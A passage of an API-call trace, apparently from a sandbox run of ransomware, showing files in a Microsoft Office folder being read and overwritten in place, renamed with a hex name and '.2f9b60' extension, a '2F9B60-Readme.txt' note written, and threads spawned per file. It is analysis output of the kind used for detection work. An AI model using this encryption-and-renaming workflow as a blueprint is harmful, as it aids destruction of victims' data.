0x653987a5 [0152.302] RtlRandomEx (in: Seed=0x3e12fc10 | out: Seed=0x3e12fc10) returned 0x6dc16d51 [0152.302] RtlRandomEx (in: Seed=0x3e12fc10 | out: Seed=0x3e12fc10) returned 0x30302a3 [0152.303] RtlRandomEx (in: Seed=0x3e12fc10 | out: Seed=0x3e12fc10) returned 0x1c1b2487 [0152.303] RtlRandomEx (in: Seed=0x3e12fc10 | out: Seed=0x3e12fc10) returned 0x1e69e45b [0152.303] RtlRandomEx (in: Seed=0x3e12fc10 | out: Seed=0x3e12fc10) returned 0x61f4761b [0152.303] RtlRandomEx (in: Seed=0x3e12fc10 | out: Seed=0x3e12fc10) returned 0x1edff40d [0152.303] RtlRandomEx (in: Seed=0x3e12fc10 | out: Seed=0x3e12fc10) returned 0x795f8ac8 [0152.303] RtlRandomEx (in: Seed=0x3e12fc10 | out: Seed=0x3e12fc10) returned 0x362039d [0152.303] RtlRandomEx (in: Seed=0x3e12fc10 | out: Seed=0x3e12fc10) returned 0x1dc32c33 [0152.303] RtlRandomEx (in: Seed=0x3e12fc10 | out: Seed=0x3e12fc10) returned 0x3114e94c [0152.303] RtlRandomEx (in: Seed=0x3e12fc10 | out: Seed=0x3e12fc10) returned 0x6754275a [0152.303] RtlRandomEx (in: Seed=0x3e12fc10 | out: Seed=0x3e12fc10) returned 0x565c18a1 [0152.303] RtlRandomEx (in: Seed=0x3e12fc10 | out: Seed=0x3e12fc10) returned 0x384aec36 [0152.303] RtlRandomEx (in: Seed=0x3e12fc10 | out: Seed=0x3e12fc10) returned 0x65ed3ea [0152.303] RtlRandomEx (in: Seed=0x3e12fc10 | out: Seed=0x3e12fc10) returned 0x29d1facb [0152.303] RtlRandomEx (in: Seed=0x3e12fc10 | out: Seed=0x3e12fc10) returned 0x29fdb2a1 [0152.303] RtlRandomEx (in: Seed=0x3e12fc10 | out: Seed=0x3e12fc10) returned 0xe40e03a [0152.303] RtlRandomEx (in: Seed=0x3e12fc10 | out: Seed=0x3e12fc10) returned 0x397b6dfe [0152.303] RtlRandomEx (in: Seed=0x3e12fc10 | out: Seed=0x3e12fc10) returned 0x4a518be9 [0152.303] RtlRandomEx (in: Seed=0x3e12fc10 | out: Seed=0x3e12fc10) returned 0x536a1cad [0152.303] RtlRandomEx (in: Seed=0x3e12fc10 | out: Seed=0x3e12fc10) returned 0x78ee2684 [0152.303] RtlRandomEx (in: Seed=0x3e12fc10 | out: Seed=0x3e12fc10) returned 0x3484107c [0152.303] RtlRandomEx (in: Seed=0x3e12fc10 | out: Seed=0x3e12fc10) returned 0x1f6825d3 [0152.303] RtlRandomEx (in: Seed=0x3e12fc10 | out: Seed=0x3e12fc10) returned 0x7724e170 [0152.303] RtlRandomEx (in: Seed=0x3e12fc10 | out: Seed=0x3e12fc10) returned 0x565c18a1 [0152.303] RtlRandomEx (in: Seed=0x3e12fc10 | out: Seed=0x3e12fc10) returned 0x35f76d43 [0152.303] RtlRandomEx (in: Seed=0x3e12fc10 | out: Seed=0x3e12fc10) returned 0x33be1683 [0152.303] RtlRandomEx (in: Seed=0x3e12fc10 | out: Seed=0x3e12fc10) returned 0x73c1ebef [0152.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500e90 [0152.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420609b0 [0152.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500ec0 [0152.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420609b0) returned 1 [0152.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500e60) returned 1 [0152.313] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500d70) returned 1 [0152.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058bf0 [0152.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420609b0 [0152.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500d70 [0152.313] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500d70) returned 1 [0152.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425f9930 [0152.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x425fd540 [0152.314] ReadFile (in: hFile=0x2600, lpBuffer=0x425f9930, nNumberOfBytesToRead=0x926, lpNumberOfBytesRead=0x3e12fc10, lpOverlapped=0x0 | out: lpBuffer=0x425f9930*, lpNumberOfBytesRead=0x3e12fc10*=0x926, lpOverlapped=0x0) returned 1 [0152.314] SetFilePointerEx (in: hFile=0x2600, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.314] WriteFile (in: hFile=0x2600, lpBuffer=0x425fd540*, nNumberOfBytesToWrite=0x926, lpNumberOfBytesWritten=0x3e12fc14, lpOverlapped=0x0 | out: lpBuffer=0x425fd540*, lpNumberOfBytesWritten=0x3e12fc14*=0x926, lpOverlapped=0x0) returned 1 [0163.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19e30 [0163.100] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19e60 [0163.101] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19e60) returned 1 [0163.101] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425fd540) returned 1 [0163.101] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x425f9930) returned 1 [0163.101] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420609b0) returned 1 [0163.101] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058bf0) returned 1 [0163.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c19e60 [0163.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058bf0 [0163.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420609b0 [0163.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19e90 [0163.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19e90) returned 1 [0163.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x42c19e90 [0163.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19ec0 [0163.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19ef0 [0163.103] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19ef0) returned 1 [0163.104] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420609b0) returned 1 [0163.104] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058bf0) returned 1 [0163.104] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x42c24510 [0163.104] SetFilePointerEx (in: hFile=0x2600, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0163.105] WriteFile (in: hFile=0x2600, lpBuffer=0x42c24510*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3e12fd30, lpOverlapped=0x0 | out: lpBuffer=0x42c24510*, lpNumberOfBytesWritten=0x3e12fd30*=0x10a, lpOverlapped=0x0) returned 1 [0164.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18690 [0164.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0164.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500e30 [0164.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500e30) returned 1 [0164.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d180 [0164.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500e30 [0164.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500e00 [0164.980] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500e00) returned 1 [0164.980] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0164.980] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18690) returned 1 [0164.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9ff70 [0164.980] sprintf (in: _Dest=0x1cd9ff70, _Format="%c%c" | out: _Dest="e8") returned 2 [0164.980] sprintf (in: _Dest=0x1cd9ff72, _Format="%c%c" | out: _Dest="1b") returned 2 [0164.980] sprintf (in: _Dest=0x1cd9ff74, _Format="%c%c" | out: _Dest="63") returned 2 [0164.980] sprintf (in: _Dest=0x1cd9ff76, _Format="%c%c" | out: _Dest="ac") returned 2 [0164.980] sprintf (in: _Dest=0x1cd9ff78, _Format="%c%c" | out: _Dest="59") returned 2 [0164.980] sprintf (in: _Dest=0x1cd9ff7a, _Format="%c%c" | out: _Dest="a6") returned 2 [0164.981] sprintf (in: _Dest=0x1cd9ff7c, _Format="%c%c" | out: _Dest="cc") returned 2 [0164.981] sprintf (in: _Dest=0x1cd9ff7e, _Format="%c%c" | out: _Dest="19") returned 2 [0164.981] sprintf (in: _Dest=0x1cd9ff80, _Format="%c%c" | out: _Dest="3b") returned 2 [0164.981] sprintf (in: _Dest=0x1cd9ff82, _Format="%c%c" | out: _Dest="8c") returned 2 [0164.981] sprintf (in: _Dest=0x1cd9ff84, _Format="%c%c" | out: _Dest="f1") returned 2 [0164.981] sprintf (in: _Dest=0x1cd9ff86, _Format="%c%c" | out: _Dest="e4") returned 2 [0164.981] sprintf (in: _Dest=0x1cd9ff88, _Format="%c%c" | out: _Dest="ad") returned 2 [0164.981] sprintf (in: _Dest=0x1cd9ff8a, _Format="%c%c" | out: _Dest="44") returned 2 [0164.981] sprintf (in: _Dest=0x1cd9ff8c, _Format="%c%c" | out: _Dest="7b") returned 2 [0164.981] sprintf (in: _Dest=0x1cd9ff8e, _Format="%c%c" | out: _Dest="59") returned 2 [0164.981] sprintf (in: _Dest=0x1cd9ff90, _Format="%c%c" | out: _Dest="52") returned 2 [0164.981] sprintf (in: _Dest=0x1cd9ff92, _Format="%c%c" | out: _Dest="14") returned 2 [0164.981] sprintf (in: _Dest=0x1cd9ff94, _Format="%c%c" | out: _Dest="ef") returned 2 [0164.981] sprintf (in: _Dest=0x1cd9ff96, _Format="%c%c" | out: _Dest="b1") returned 2 [0164.981] sprintf (in: _Dest=0x1cd9ff98, _Format="%c%c" | out: _Dest="98") returned 2 [0164.981] sprintf (in: _Dest=0x1cd9ff9a, _Format="%c%c" | out: _Dest="9d") returned 2 [0164.981] sprintf (in: _Dest=0x1cd9ff9c, _Format="%c%c" | out: _Dest="76") returned 2 [0164.981] sprintf (in: _Dest=0x1cd9ff9e, _Format="%c%c" | out: _Dest="66") returned 2 [0164.981] RtlInitAnsiString (in: DestinationString=0x3e12fda8, SourceString="e81b63ac59a6cc193b8cf1e4ad447b595214efb1989d7666" | out: DestinationString="e81b63ac59a6cc193b8cf1e4ad447b595214efb1989d7666") [0164.981] RtlAnsiStringToUnicodeString (in: DestinationString=0x3e12fd78, SourceString="e81b63ac59a6cc193b8cf1e4ad447b595214efb1989d7666", AllocateDestinationString=1 | out: DestinationString="e81b63ac59a6cc193b8cf1e4ad447b595214efb1989d7666") returned 0x0 [0164.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ce14ff0 [0164.982] RtlFreeAnsiString (AnsiString="e") [0164.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ff70) returned 1 [0164.982] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d180) returned 1 [0164.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500e30) returned 1 [0164.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c24510) returned 1 [0164.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19e90) returned 1 [0164.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19ec0) returned 1 [0164.983] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19e60) returned 1 [0164.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19e30) returned 1 [0164.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500dd0) returned 1 [0164.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500e90) returned 1 [0164.984] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500ec0) returned 1 [0164.984] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x2050cd40 [0164.985] wcscat (in: _Dest=0x2050cd40, _Source="e81b63ac59a6" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\e81b63ac59a6") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\e81b63ac59a6" [0164.985] wcscat (in: _Dest=0x2050cd40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\e81b63ac59a6.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\e81b63ac59a6.2f9b60" [0164.985] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\e81b63ac59a6.2f9b60", NtPathName=0x3e12fd50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\e81b63ac59a6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0164.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4205ece0 [0165.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ece0) returned 1 [0165.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c34e80) returned 1 [0165.045] NtQueryInformationFile (in: FileHandle=0x2600, IoStatusBlock=0x3e12fdb8, FileInformation=0x3e12fdc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3e12fdb8, FileInformation=0x3e12fdc8) returned 0x0 [0165.045] NtSetInformationFile (FileHandle=0x2600, IoStatusBlock=0x3e12fdb8, FileInformation=0x3e12fdc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0165.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cd40) returned 1 [0165.081] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce14ff0) returned 1 [0165.081] FlushFileBuffers (hFile=0x2600) returned 1 [0166.266] CloseHandle (hObject=0x2600) returned 1 [0183.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x202adad0 [0183.996] wcscpy (in: _Dest=0x202adad0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0183.996] wcscat (in: _Dest=0x202adad0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2F9B60-Readme.txt" [0183.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\2f9b60-readme.txt")) returned 0xffffffff [0183.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ce4 [0192.681] WriteFile (in: hFile=0x2ce4, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3e12fc70, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3e12fc70*=0xba9, lpOverlapped=0x0) returned 1 [0204.090] CloseHandle (hObject=0x2ce4) returned 1 [0207.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202adad0) returned 1 [0207.979] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adfc0) returned 1 [0207.980] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe4e1600, ftCreationTime.dwHighDateTime=0x1bdfe4c, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe4e1600, ftLastWriteTime.dwHighDateTime=0x1bdfe4c, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18181_.WMF", cAlternateFileName="")) returned 1 [0207.980] wcscmp (_String1="BD18181_.WMF", _String2=".") returned 1 [0207.980] wcscmp (_String1="BD18181_.WMF", _String2="..") returned 1 [0207.980] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x1b7adfc0 [0207.980] wcscpy (in: _Dest=0x1b7adfc0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0207.980] wcscat (in: _Dest=0x1b7adfc0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0207.980] wcscat (in: _Dest=0x1b7adfc0, _Source="BD18181_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18181_.WMF" [0208.190] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7adfc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f28 [0208.194] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0ce0000, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa0ce0000, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xc5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18182_.WMF", cAlternateFileName="")) returned 1 [0208.194] wcscmp (_String1="BD18182_.WMF", _String2=".") returned 1 [0208.194] wcscmp (_String1="BD18182_.WMF", _String2="..") returned 1 [0208.194] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431c9120 [0208.194] wcscpy (in: _Dest=0x431c9120, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.194] wcscat (in: _Dest=0x431c9120, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.195] wcscat (in: _Dest=0x431c9120, _Source="BD18182_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18182_.WMF" [0208.195] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c9120, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ad0 [0208.195] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe12d7e00, ftCreationTime.dwHighDateTime=0x1bdcf20, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe12d7e00, ftLastWriteTime.dwHighDateTime=0x1bdcf20, nFileSizeHigh=0x0, nFileSizeLow=0xd22, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18184_.WMF", cAlternateFileName="")) returned 1 [0208.195] wcscmp (_String1="BD18184_.WMF", _String2=".") returned 1 [0208.195] wcscmp (_String1="BD18184_.WMF", _String2="..") returned 1 [0208.195] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431c91c0 [0208.195] wcscpy (in: _Dest=0x431c91c0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.195] wcscat (in: _Dest=0x431c91c0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.195] wcscat (in: _Dest=0x431c91c0, _Source="BD18184_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18184_.WMF" [0208.196] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c91c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ac [0208.196] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8867900, ftCreationTime.dwHighDateTime=0x1bdcf1b, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd8867900, ftLastWriteTime.dwHighDateTime=0x1bdcf1b, nFileSizeHigh=0x0, nFileSizeLow=0xd42, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18185_.WMF", cAlternateFileName="")) returned 1 [0208.196] wcscmp (_String1="BD18185_.WMF", _String2=".") returned 1 [0208.196] wcscmp (_String1="BD18185_.WMF", _String2="..") returned 1 [0208.196] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431c9260 [0208.196] wcscpy (in: _Dest=0x431c9260, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.196] wcscat (in: _Dest=0x431c9260, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.196] wcscat (in: _Dest=0x431c9260, _Source="BD18185_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18185_.WMF" [0208.196] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c9260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1de4 [0208.197] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50bd100, ftCreationTime.dwHighDateTime=0x1bdcf1d, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe50bd100, ftLastWriteTime.dwHighDateTime=0x1bdcf1d, nFileSizeHigh=0x0, nFileSizeLow=0x758, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18187_.WMF", cAlternateFileName="")) returned 1 [0208.197] wcscmp (_String1="BD18187_.WMF", _String2=".") returned 1 [0208.197] wcscmp (_String1="BD18187_.WMF", _String2="..") returned 1 [0208.197] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431c9300 [0208.197] wcscpy (in: _Dest=0x431c9300, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.197] wcscat (in: _Dest=0x431c9300, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.197] wcscat (in: _Dest=0x431c9300, _Source="BD18187_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18187_.WMF" [0208.198] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c9300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xeb0 [0208.198] FindNextFileW (in: hFindFile=0x1b859270, lpFindFileData=0x2027ea20 | out: lpFindFileData=0x2027ea20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c95f00, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcb67640, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x84c95f00, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x980, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18189_.WMF", cAlternateFileName="")) returned 1 [0208.198] wcscmp (_String1="BD18189_.WMF", _String2=".") returned 1 [0208.198] wcscmp (_String1="BD18189_.WMF", _String2="..") returned 1 [0208.198] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431c93a0 [0208.198] wcscpy (in: _Dest=0x431c93a0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP" [0208.198] wcscat (in: _Dest=0x431c93a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\" [0208.199] wcscat (in: 